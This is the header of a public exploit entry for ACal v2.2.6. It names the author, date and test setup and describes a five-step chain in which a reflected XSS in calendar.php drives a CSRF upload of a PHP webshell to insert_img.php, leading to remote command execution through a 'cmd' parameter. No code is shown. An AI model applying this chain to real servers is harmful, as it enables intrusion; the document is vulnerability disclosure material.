168d9516623ec5c828c45bf6cbea0151# Exploit Title: ACal v2.2.6 - 1-Click Remote Code Execution
# Exploit Author: Bobby Cooke
# Date: May 14th, 2020
# Vendor Homepage: http://acalproj.sourceforge.net/
# Software Link: http://prdownloads.sourceforge.net/acalproj/ACal-2.2.6.tar.gz?download
# Version: 2.2.6
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4 (the Hosting Webserver)
# Tested Against: Windows 10 1909 IE & Edge Browser (Client) & Linux Firefox 68.2.0esr
# Exploit Tested On: Python 2.7.17
# Vulnerability Description:
# ACal v2.2.6 suffers from multiple Vulnerabilities allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via an Authenticated User clicking a Maliciously Crafted URL Link; launching a Sophisticated Attack-Chain to fully compromise the server.
# Exploit Details:
# 1. When an Authenticated User clicks the maliciously crafted URL Link, the '/calendar.php' webpage is exploited using a Reflected Cross-Site Scripting (XSS) attack in the vulnerable 'year' parameter with a GET request.
# 2. The XSS script executes JavaScript code within the clients browser and "Rides" the authenticated session to perform a Cross-Site Request Forgery (CSRF) attack on the vulnerable 'insert_img.php' webpage.
# 3. Using an XMLHttpRequest, the JavaScript code dynamically generates & uploads a malicious PHP file to the Webserver with a malicious POST request.
# 4. After the Malicious PHP Webshell has been uploaded to the Webserver, the Exploit connects to the Webserver as an Unauthenticated User.
# 5. Once connected, the Exploit communicates with the PHP Webshell on the Webserver using the GET parameter 'cmd' to gain interactive Remote Code Execution (RCE) on the Webserver.
